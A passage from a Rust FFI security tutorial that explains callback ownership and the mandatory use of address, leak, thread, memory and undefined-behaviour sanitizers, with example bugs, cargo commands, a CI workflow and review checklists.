    fn register_callback(cb: Callback, user_data: *mut c_void);
}

// ✅ Safe callback wrapper with proper ownership
extern "C" fn rust_callback(data: *const u8, len: usize, user_data: *mut c_void) {
    // ⚠️ OWNERSHIP RULES:
    // 1. data pointer is borrowed (C owns it, don't free)
    // 2. user_data is owned by us (we passed it in register_callback)
    // 3. Don't panic (might not unwind correctly from C)
    
    let slice = unsafe {
        // ✅ Borrow data (C owns it)
        std::slice::from_raw_parts(data, len)
    };
    
    let state = unsafe {
        // ✅ Borrow user_data (we own it, but C is calling us)
        &mut *(user_data as *mut CallbackState)
    };
    
    // Process data safely
    state.process(slice);
}

struct CallbackState {
    counter: usize,
}

impl CallbackState {
    fn process(&mut self, data: &[u8]) {
        self.counter += data.len();
    }
}

pub fn setup_callback() {
    let mut state = Box::new(CallbackState { counter: 0 });
    let state_ptr = &mut *state as *mut CallbackState as *mut c_void;
    
    unsafe {
        register_callback(rust_callback, state_ptr);
    }
    
    // ⚠️ CRITICAL: Keep state alive until callback is unregistered!
    std::mem::forget(state); // Or use proper RAII
}

Sanitizers: MANDATORY for FFI Security

⚠️ CRITICAL: Sanitizers are not optional for FFI code—they are mandatory for security assurance.

Unlike pure Rust code where the compiler catches most bugs, FFI code requires runtime verification. Sanitizers are your only defense against memory corruption in C code.

Why Sanitizers are Mandatory for FFI

Without SanitizersWith Sanitizers
❌ Memory corruption goes undetected✅ Immediate crash with stack trace
❌ Use-after-free causes random crashes✅ Precise error location
❌ Buffer overflows corrupt data silently✅ Caught at point of overflow
❌ Data races cause intermittent bugs✅ Detected reliably
❌ Bugs found in production (or never)✅ Bugs found in testing

Mandatory Sanitizer Usage

For ALL FFI code, you MUST:

  1. Run tests with AddressSanitizer (ASan) - Catches memory corruption
  2. Run tests with LeakSanitizer (LSan) - Catches memory leaks
  3. Run tests with ThreadSanitizer (TSan) - Catches data races (if multi-threaded)
  4. Run tests with MemorySanitizer (MSan) - Catches uninitialized memory (if using unsafe)
  5. Run tests with UndefinedBehaviorSanitizer (UBSan) - Catches undefined behavior

AddressSanitizer (ASan) - Most Critical

Detects:

  • Buffer overflows
  • Use-after-free
  • Use-after-return
  • Use-after-scope
  • Double-free
  • Memory leaks (with LSan)

Usage:

# Enable AddressSanitizer
export RUSTFLAGS="-Z sanitizer=address"
export ASAN_OPTIONS="detect_leaks=1:abort_on_error=1"

# Run tests
cargo +nightly test --target x86_64-unknown-linux-gnu

# Run specific FFI tests
cargo +nightly test --target x86_64-unknown-linux-gnu ffi_tests

Example bug ASan catches:

// C code with use-after-free
char* get_string() {
    char buffer[100];
    strcpy(buffer, "Hello");
    return buffer; // ❌ Returns pointer to stack memory!
}
extern "C" {
    fn get_string() -> *const c_char;
}

#[test]
fn test_get_string() {
    unsafe {
        let ptr = get_string();
        let s = CStr::from_ptr(ptr); // ❌ Use-after-free!
        println!("{:?}", s);
    }
}

// Without ASan: Might work, might crash, might corrupt memory
// With ASan: Immediate error with stack trace:
//   ERROR: AddressSanitizer: stack-use-after-return
//   READ of size 1 at 0x7fff12345678
//   #0 in CStr::from_ptr
//   #1 in test_get_string

LeakSanitizer (LSan) - Memory Leak Detection

Detects:

  • Memory leaks in C code
  • Leaked FFI resources
  • Forgotten free() calls

Usage:

# Enable LeakSanitizer (included with ASan)
export RUSTFLAGS="-Z sanitizer=address"
export ASAN_OPTIONS="detect_leaks=1"

cargo +nightly test --target x86_64-unknown-linux-gnu

Example leak LSan catches:

// C code with memory leak
void* allocate_data() {
    void* ptr = malloc(1024);
    // ❌ Forgot to document that caller must free!
    return ptr;
}
extern "C" {
    fn allocate_data() -> *mut c_void;
}

#[test]
fn test_allocate() {
    unsafe {
        let ptr = allocate_data();
        // ❌ Forgot to free!
    }
}

// LSan output:
// Direct leak of 1024 byte(s) in 1 object(s) allocated from:
//     #0 in malloc
//     #1 in allocate_data
//     #2 in test_allocate

ThreadSanitizer (TSan) - Data Race Detection

Detects:

  • Data races in C code
  • Concurrent access without synchronization
  • Race conditions

Usage:

# Enable ThreadSanitizer
export RUSTFLAGS="-Z sanitizer=thread"

cargo +nightly test --target x86_64-unknown-linux-gnu

Example race TSan catches:

// C code with data race
static int counter = 0;

void increment() {
    counter++; // ❌ Data race!
}
extern "C" {
    fn increment();
}

#[test]
fn test_concurrent() {
    let handles: Vec<_> = (0..10)
        .map(|_| {
            std::thread::spawn(|| unsafe {
                increment(); // ❌ Data race in C code!
            })
        })
        .collect();
    
    for h in handles {
        h.join().unwrap();
    }
}

// TSan output:
// WARNING: ThreadSanitizer: data race
// Write of size 4 at 0x7fff12345678 by thread T1:
//     #0 increment
// Previous write of size 4 at 0x7fff12345678 by thread T2:
//     #0 increment

MemorySanitizer (MSan) - Uninitialized Memory

Detects:

  • Use of uninitialized memory
  • Padding bytes read
  • Uninitialized function arguments

Usage:

# Enable MemorySanitizer (requires instrumented stdlib)
export RUSTFLAGS="-Z sanitizer=memory"

cargo +nightly test --target x86_64-unknown-linux-gnu

UndefinedBehaviorSanitizer (UBSan)

Detects:

  • Signed integer overflow
  • Null pointer dereference
  • Misaligned pointer access
  • Out-of-bounds array access

Usage:

# Enable UBSan
export RUSTFLAGS="-Z sanitizer=undefined"

cargo +nightly test --target x86_64-unknown-linux-gnu

CI/CD Integration (Mandatory)

GitHub Actions example:

name: FFI Sanitizers

on: [push, pull_request]

jobs:
  address-sanitizer:
    name: AddressSanitizer
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions-rs/toolchain@v1
        with:
          toolchain: nightly
          override: true
      
      - name: Run tests with ASan
        run: |
          export RUSTFLAGS="-Z sanitizer=address"
          export ASAN_OPTIONS="detect_leaks=1:abort_on_error=1"
          cargo +nightly test --target x86_64-unknown-linux-gnu
  
  thread-sanitizer:
    name: ThreadSanitizer
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions-rs/toolchain@v1
        with:
          toolchain: nightly
          override: true
      
      - name: Run tests with TSan
        run: |
          export RUSTFLAGS="-Z sanitizer=thread"
          cargo +nightly test --target x86_64-unknown-linux-gnu
  
  leak-sanitizer:
    name: LeakSanitizer
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions-rs/toolchain@v1
        with:
          toolchain: nightly
          override: true
      
      - name: Run tests with LSan
        run: |
          export RUSTFLAGS="-Z sanitizer=leak"
          cargo +nightly test --target x86_64-unknown-linux-gnu

Sanitizer Best Practices

1. Run ALL sanitizers in CI:

  • ASan (always)
  • LSan (always)
  • TSan (if multi-threaded)
  • MSan (if using unsafe extensively)
  • UBSan (always)

2. Fix ALL sanitizer errors:

  • Don’t ignore or suppress errors
  • Every error is a potential security vulnerability
  • Treat sanitizer failures as test failures

3. Combine with fuzzing:

# Fuzz with AddressSanitizer
cargo +nightly fuzz run --sanitizer address ffi_target

# Fuzz with all sanitizers
for san in address leak memory thread; do
    cargo +nightly fuzz run --sanitizer $san ffi_target -- -max_total_time=300
done

4. Use in local development:

# Add to your shell profile
alias cargo-test-asan='RUSTFLAGS="-Z sanitizer=address" cargo +nightly test --target x86_64-unknown-linux-gnu'
alias cargo-test-tsan='RUSTFLAGS="-Z sanitizer=thread" cargo +nightly test --target x86_64-unknown-linux-gnu'

# Run before committing
cargo-test-asan
cargo-test-tsan

Valgrind as Fallback

If sanitizers don’t work on your platform, use Valgrind:

# Install valgrind
sudo apt-get install valgrind

# Run tests with valgrind
cargo build --release
valgrind --leak-check=full --show-leak-kinds=all \
    --track-origins=yes --verbose \
    ./target/release/your_binary

# For tests
cargo test --no-run
valgrind --leak-check=full \
    ./target/debug/deps/your_test-*

Key Takeaways

Sanitizer Rules for FFI:

  1. Sanitizers are MANDATORY - Not optional, not “nice to have”
  2. Run in CI - Every commit must pass sanitizers
  3. Fix all errors - Zero tolerance for sanitizer failures
  4. Combine with fuzzing - Sanitizers + fuzzing find most bugs
  5. Test on all platforms - Bugs may be platform-specific

Critical Rule: If your FFI code hasn’t been tested with sanitizers, it’s not production-ready. Period.

Security Rule: Shipping FFI code without sanitizer testing is negligent. Memory corruption bugs in FFI are the #1 source of security vulnerabilities in Rust projects.


Troubleshooting Guide

Problem: Undefined Behavior

Solution:

  • Validate all inputs
  • Check pointer validity
  • Verify memory lifetimes
  • Use AddressSanitizer (mandatory)
  • Use MemorySanitizer (for uninitialized memory)
  • Use UndefinedBehaviorSanitizer

Problem: Memory Leaks

Solution:

  • Properly implement Drop
  • Verify all allocations freed
  • Use RAII patterns
  • Use LeakSanitizer (mandatory)
  • Test with valgrind (if sanitizers unavailable)

Problem: Data Races

Solution:

  • Use ThreadSanitizer (mandatory for multi-threaded FFI)
  • Add Rust-side synchronization
  • Document thread-safety assumptions
  • Test concurrent access

Real-World Case Study

Case Study: Secure FFI wrapper for legacy C library

Challenges:

  • Unsafe C API
  • Complex memory management
  • Error handling inconsistencies

Solution:

  • Safe Rust wrapper
  • Input validation
  • RAII for resources
  • Comprehensive error handling

Results:

  • Eliminated memory safety issues
  • Improved error handling
  • Maintained performance
  • Easier to use API

FAQ

Q: When should I use FFI?

A: Use FFI when:

  • No Rust alternative exists
  • Need specific C/C++ library
  • System API required
  • Legacy code integration needed

Q: How do I ensure FFI safety?

A:

  • Validate all inputs
  • Check pointer validity
  • Use safe wrappers
  • Test extensively
  • Audit unsafe code

Code Review Checklist for Rust FFI Security

Safety Boundaries

  • All unsafe FFI calls wrapped in safe interfaces
  • Input validation before FFI calls
  • Output validation after FFI calls
  • No raw pointers exposed in public API

Memory Safety

  • Proper lifetime management for FFI data
  • No use-after-free in FFI code
  • Proper memory cleanup (free/dealloc)
  • Bounds checking for all buffer operations

Error Handling

  • FFI errors properly converted to Rust errors
  • Null pointer checks before dereferencing
  • Error codes properly handled
  • Proper error propagation

Testing

  • FFI code has comprehensive tests
  • Test with invalid inputs
  • Test error conditions
  • Use address sanitizer for FFI code

Documentation

  • Safety invariants documented
  • FFI function contracts documented
  • Memory ownership documented
  • Thread-safety documented

Conclusion

FFI enables Rust to interact with C/C++ code but requires careful attention to safety. Use safe wrappers, validate inputs, maintain safety boundaries, and always use sanitizers.

Critical FFI Security Checklist

Before shipping FFI code, verify:

  • Threat model understood - Know what can go wrong
  • bindgen used - Auto-generated bindings (not manual)
  • All structs use #[repr(C)] - ABI compatibility
  • Compile-time size assertions - Verify struct layout
  • Platform-specific types used - c_int, c_long, not i32/i64
  • Thread safety documented - Send/Sync decisions explained
  • Reentrancy handled - Callbacks have guards
  • Sanitizers run in CI - ASan, LSan, TSan (mandatory)
  • Fuzzing implemented - FFI boundaries fuzzed
  • All inputs validated - Before FFI calls
  • All outputs validated - After FFI calls
  • Safe wrappers created - No unsafe in public API
  • Tested on all platforms - 32-bit, 64-bit, ARM
  • Documentation complete - Safety invariants, ownership, thread-safety

Action Steps

1. Understand the Threat Model:

  • Read “FFI Threat Model” section
  • Understand what attackers can exploit
  • Plan defense-in-depth

2. Use Code Generation:

  • Use bindgen for C → Rust bindings
  • Use cbindgen for Rust → C headers
  • Reduces manual errors

3. Create Safe Wrappers:

  • Wrap all unsafe FFI in safe interfaces
  • Validate inputs before FFI calls
  • Validate outputs after FFI calls

4. Handle Thread Safety:

  • Document thread-safety assumptions
  • Use !Send/!Sync when uncertain
  • Add Rust-side locking if needed
  • Test with ThreadSanitizer

5. Test Exhaustively:

  • Run sanitizers (mandatory):
    • AddressSanitizer (ASan)
    • LeakSanitizer (LSan)
    • ThreadSanitizer (TSan)
    • MemorySanitizer (MSan)
    • UndefinedBehaviorSanitizer (UBSan)
  • Fuzz FFI boundaries
  • Test on all target platforms
  • Test concurrent access

6. Document Everything:

  • Safety invariants
  • Ownership rules (who frees what)
  • Thread-safety guarantees
  • Reentrancy assumptions
  • Platform-specific behavior

Next Steps

  • Study FFI best practices in production code
  • Learn about advanced bindgen features
  • Explore async FFI patterns (callbacks, futures)
  • Practice with real C libraries
  • Read “The Rustonomicon” (unsafe Rust guide)
  • Contribute to FFI wrapper crates (learn from experts)

Remember: FFI bypasses Rust’s safety guarantees. Always wrap unsafe FFI code in safe interfaces and validate thoroughly.


Cleanup

Click to view commands
# Clean up FFI bindings and test artifacts
rm -rf target/
rm -f bindings.rs
rm -f *.so *.dylib *.dll

# Clean up any test files
find . -name "*_ffi_test*" -delete

Validation: Verify no FFI artifacts or test files remain in the project directory.

Similar Topics

FAQs

Can I use these labs in production?

No—treat them as educational. Adapt, review, and security-test before any production use.

How should I follow the lessons?

Start from the Learn page order or use Previous/Next on each lesson; both flow consistently.

What if I lack test data or infra?

Use synthetic data and local/lab environments. Never target networks or data you don't own or have written permission to test.

Can I share these materials?

Yes, with attribution and respecting any licensing for referenced tools or datasets.